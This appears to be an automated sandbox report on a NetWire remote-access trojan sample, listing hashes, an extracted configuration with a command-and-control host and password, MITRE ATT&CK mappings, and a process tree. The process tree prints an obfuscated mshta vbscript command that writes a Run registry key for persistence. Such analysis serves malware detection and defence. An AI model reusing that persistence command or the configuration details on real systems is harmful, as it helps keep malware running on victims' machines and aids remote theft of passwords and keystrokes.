netwire | 5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468

General

Target

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
Size

344KB
MD5

458280bc7205d36eb55237c1f3be6296
SHA1

bf5fc2d5fcfc5c4a1d3c040447b7b3725126f717
SHA256

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468
SHA512

8b677b9105583c08898675b626a3573637b875968b04a7e5400f9a869c50cd6ab6ecb369c30dbf2706fefe1c4ab2a9e01cfd9a6a7b3fe6a070c22e0f89c5c9c1
SSDEEP

3072:QtIpYU2DAYVwTj0ovzU9MQ2r89lNZjMFM+DcyRMKqaPJvGPcl+fo:Q6pzAV0vz1QMCefDc5mwE

Score

10^/10

netwire botnet persistence rat stealer

Malware Config

Extracted

Family

netwire

C2

www.secdoc.info:1759

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
manlike123
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/5112-149-0x0000000000400000-0x0000000000457000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire
Executes dropped EXE 1 IoCs

Processes:

Uncrystallisability8.exe

pid process

5112 Uncrystallisability8.exe

pid	process
5112	Uncrystallisability8.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Zakah = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Uncrystallisability8.exe"	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exeUncrystallisability8.exe

pid	process
1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
5112	Uncrystallisability8.exe
5112	Uncrystallisability8.exe

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exeUncrystallisability8.exe

pid	process
1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
5112	Uncrystallisability8.exe
5112	Uncrystallisability8.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exeUncrystallisability8.exe

pid process

1840 5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
5112 Uncrystallisability8.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe

description	pid	process	target process
PID 1840 wrote to memory of 5032	1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1840 wrote to memory of 5032	1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1840 wrote to memory of 5032	1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	mshta.exe
PID 1840 wrote to memory of 5112	1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe
PID 1840 wrote to memory of 5112	1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe
PID 1840 wrote to memory of 5112	1840	5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe	Uncrystallisability8.exe

C:\Users\Admin\AppData\Local\Temp\5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe
"C:\Users\Admin\AppData\Local\Temp\5efb853298c82178c85a13e9ae72bc2b0fa5e44b98d23dfa56c593113b883468.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Zakah"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe"",""REG_SZ"" : window.close")
  2⤵
  - Adds Run key to start application
  PID:5032
- C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe
  "C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:5112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe

Filesize
344KB

MD5
01902361d12834033e78bb91d0f3fb77

SHA1
9872791bebd9364bdc6385a0499f0af26ad82f61

SHA256
482fdea65033a89a6de1a5aedf89ad1463995196282dcdf0be1ccdeb7ab7dfc9

SHA512
e76cde02281a67e8b4635ce81ac08606f9597bedd9efbc5dd25a2e0dfb0007394383d8b1df687d7b050c34333ee7853f3d0f13bcc568e9222eb914d3b272ea6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Uncrystallisability8.exe

Filesize
344KB

MD5
01902361d12834033e78bb91d0f3fb77

SHA1
9872791bebd9364bdc6385a0499f0af26ad82f61

SHA256
482fdea65033a89a6de1a5aedf89ad1463995196282dcdf0be1ccdeb7ab7dfc9

SHA512
e76cde02281a67e8b4635ce81ac08606f9597bedd9efbc5dd25a2e0dfb0007394383d8b1df687d7b050c34333ee7853f3d0f13bcc568e9222eb914d3b272ea6f

Download Submit
memory/1840-144-0x0000000077BC0000-0x0000000077D63000-memory.dmp

Filesize
1.6MB

Download
memory/1840-135-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/1840-136-0x00007FFEC3BB0000-0x00007FFEC3DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1840-137-0x0000000077BC0000-0x0000000077D63000-memory.dmp

Filesize
1.6MB

Download
memory/1840-142-0x00007FFEC3BB0000-0x00007FFEC3DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1840-134-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/5032-138-0x0000000000000000-mapping.dmp

Download
memory/5112-139-0x0000000000000000-mapping.dmp

Download
memory/5112-146-0x0000000003CE0000-0x0000000003DE0000-memory.dmp

Filesize
1024KB

Download
memory/5112-147-0x00007FFEC3BB0000-0x00007FFEC3DA5000-memory.dmp

Filesize
2.0MB

Download
memory/5112-148-0x0000000077BC0000-0x0000000077D63000-memory.dmp

Filesize
1.6MB

Download
memory/5112-149-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/5112-150-0x0000000003CE0000-0x0000000003DE0000-memory.dmp

Filesize
1024KB

Download
memory/5112-151-0x0000000077BC0000-0x0000000077D63000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads